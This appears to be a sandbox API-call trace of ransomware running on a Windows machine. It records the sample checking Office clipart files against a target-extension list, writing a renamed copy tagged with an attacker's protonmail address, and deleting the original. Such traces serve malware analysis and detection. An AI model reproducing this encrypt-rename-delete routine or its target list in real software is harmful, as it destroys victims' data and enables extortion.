	[0197.212] lstrlenW (lpString=".xlsx") returned 5
	[0197.212] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0197.212] lstrlenW (lpString=".ppt") returned 4
	[0197.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.212] lstrlenW (lpString=".zip") returned 4
	[0197.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.212] lstrlenW (lpString=".rar") returned 4
	[0197.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.212] lstrlenW (lpString=".bz2") returned 4
	[0197.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.212] lstrlenW (lpString=".7z") returned 3
	[0197.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.212] lstrlenW (lpString=".dbf") returned 4
	[0197.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.212] lstrlenW (lpString=".1cd") returned 4
	[0197.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.212] lstrlenW (lpString=".jpg") returned 4
	[0197.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.212] lstrlenW (lpString=".doc") returned 4
	[0197.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.212] lstrlenW (lpString=".docx") returned 5
	[0197.212] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0197.212] lstrlenW (lpString=".pdf") returned 4
	[0197.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.212] lstrlenW (lpString=".xls") returned 4
	[0197.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.213] lstrlenW (lpString=".xlsx") returned 5
	[0197.213] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0197.213] lstrlenW (lpString=".ppt") returned 4
	[0197.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.213] lstrlenW (lpString=".zip") returned 4
	[0197.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.213] lstrlenW (lpString=".rar") returned 4
	[0197.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.213] lstrlenW (lpString=".bz2") returned 4
	[0197.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.213] lstrlenW (lpString=".7z") returned 3
	[0197.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.213] lstrlenW (lpString=".dbf") returned 4
	[0197.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.213] lstrlenW (lpString=".1cd") returned 4
	[0197.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.213] lstrlenW (lpString=".jpg") returned 4
	[0197.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.213] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.213] lstrlenW (lpString="J0107308.WMF") returned 12
	[0197.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.214] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=15888) returned 1
	[0197.214] CloseHandle (hObject=0x510) returned 1
	[0197.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220
	[0197.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.215] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.215] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0197.338] GetLastError () returned 0x0
	[0197.338] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3e10, lpOverlapped=0x0) returned 1
	[0197.347] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3e20, lpOverlapped=0x0) returned 1
	[0197.350] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.351] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.353] SetEndOfFile (hFile=0x5ec) returned 1
	[0197.354] CloseHandle (hObject=0x5ec) returned 1
	[0197.354] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.354] SetEndOfFile (hFile=0x510) returned 1
	[0197.356] CloseHandle (hObject=0x510) returned 1
	[0197.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1
	[0197.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.358] lstrlenW (lpString=".doc") returned 4
	[0197.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.358] lstrlenW (lpString=".docx") returned 5
	[0197.358] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0197.358] lstrlenW (lpString=".pdf") returned 4
	[0197.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.358] lstrlenW (lpString=".xls") returned 4
	[0197.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.358] lstrlenW (lpString=".xlsx") returned 5
	[0197.358] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0197.358] lstrlenW (lpString=".ppt") returned 4
	[0197.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.358] lstrlenW (lpString=".zip") returned 4
	[0197.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.358] lstrlenW (lpString=".rar") returned 4
	[0197.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.358] lstrlenW (lpString=".bz2") returned 4
	[0197.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.358] lstrlenW (lpString=".7z") returned 3
	[0197.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.358] lstrlenW (lpString=".dbf") returned 4
	[0197.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.359] lstrlenW (lpString=".1cd") returned 4
	[0197.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.359] lstrlenW (lpString=".jpg") returned 4
	[0197.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.359] lstrlenW (lpString=".doc") returned 4
	[0197.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.359] lstrlenW (lpString=".docx") returned 5
	[0197.359] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0197.359] lstrlenW (lpString=".pdf") returned 4
	[0197.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.359] lstrlenW (lpString=".xls") returned 4
	[0197.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.359] lstrlenW (lpString=".xlsx") returned 5
	[0197.359] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0197.359] lstrlenW (lpString=".ppt") returned 4
	[0197.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.359] lstrlenW (lpString=".zip") returned 4
	[0197.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.359] lstrlenW (lpString=".rar") returned 4
	[0197.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.359] lstrlenW (lpString=".bz2") returned 4
	[0197.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.359] lstrlenW (lpString=".7z") returned 3
	[0197.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.360] lstrlenW (lpString=".dbf") returned 4
	[0197.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.360] lstrlenW (lpString=".1cd") returned 4
	[0197.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0197.360] lstrlenW (lpString=".jpg") returned 4
	[0197.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.360] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.360] lstrlenW (lpString="J0107314.WMF") returned 12
	[0197.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.363] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=10852) returned 1
	[0197.363] CloseHandle (hObject=0x510) returned 1
	[0197.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220
	[0197.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.364] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.364] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0197.365] GetLastError () returned 0x0
	[0197.365] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2a64, lpOverlapped=0x0) returned 1
	[0197.370] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2a70, lpOverlapped=0x0) returned 1
	[0197.371] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.371] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.372] SetEndOfFile (hFile=0x5ec) returned 1
	[0197.372] CloseHandle (hObject=0x5ec) returned 1
	[0197.372] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.372] SetEndOfFile (hFile=0x510) returned 1
	[0197.376] CloseHandle (hObject=0x510) returned 1
	[0197.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1
	[0197.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.377] lstrlenW (lpString=".doc") returned 4
	[0197.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.377] lstrlenW (lpString=".docx") returned 5
	[0197.377] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0197.377] lstrlenW (lpString=".pdf") returned 4
	[0197.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.377] lstrlenW (lpString=".xls") returned 4
	[0197.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.377] lstrlenW (lpString=".xlsx") returned 5
	[0197.377] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0197.377] lstrlenW (lpString=".ppt") returned 4
	[0197.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.377] lstrlenW (lpString=".zip") returned 4
	[0197.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.377] lstrlenW (lpString=".rar") returned 4
	[0197.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.377] lstrlenW (lpString=".bz2") returned 4
	[0197.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.377] lstrlenW (lpString=".7z") returned 3
	[0197.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.378] lstrlenW (lpString=".dbf") returned 4
	[0197.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.378] lstrlenW (lpString=".1cd") returned 4
	[0197.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.378] lstrlenW (lpString=".jpg") returned 4
	[0197.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.378] lstrlenW (lpString=".doc") returned 4
	[0197.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.378] lstrlenW (lpString=".docx") returned 5
	[0197.378] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0197.378] lstrlenW (lpString=".pdf") returned 4
	[0197.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.378] lstrlenW (lpString=".xls") returned 4
	[0197.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.378] lstrlenW (lpString=".xlsx") returned 5
	[0197.378] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0197.378] lstrlenW (lpString=".ppt") returned 4
	[0197.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.378] lstrlenW (lpString=".zip") returned 4
	[0197.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.378] lstrlenW (lpString=".rar") returned 4
	[0197.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.378] lstrlenW (lpString=".bz2") returned 4
	[0197.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.379] lstrlenW (lpString=".7z") returned 3
	[0197.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.379] lstrlenW (lpString=".dbf") returned 4
	[0197.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.379] lstrlenW (lpString=".1cd") returned 4
	[0197.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0197.379] lstrlenW (lpString=".jpg") returned 4
	[0197.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.379] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.379] lstrlenW (lpString="J0107316.WMF") returned 12
	[0197.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.380] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=11288) returned 1
	[0197.380] CloseHandle (hObject=0x510) returned 1
	[0197.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220
	[0197.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.381] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.381] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0197.381] GetLastError () returned 0x0
	[0197.382] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2c18, lpOverlapped=0x0) returned 1
	[0197.386] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2c20, lpOverlapped=0x0) returned 1
	[0197.387] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.387] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.387] SetEndOfFile (hFile=0x5ec) returned 1
	[0197.387] CloseHandle (hObject=0x5ec) returned 1
	[0197.387] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.387] SetEndOfFile (hFile=0x510) returned 1
	[0197.390] CloseHandle (hObject=0x510) returned 1
	[0197.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1
	[0197.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.391] lstrlenW (lpString=".doc") returned 4
	[0197.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.391] lstrlenW (lpString=".docx") returned 5
	[0197.391] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0197.391] lstrlenW (lpString=".pdf") returned 4
	[0197.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.391] lstrlenW (lpString=".xls") returned 4
	[0197.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.391] lstrlenW (lpString=".xlsx") returned 5
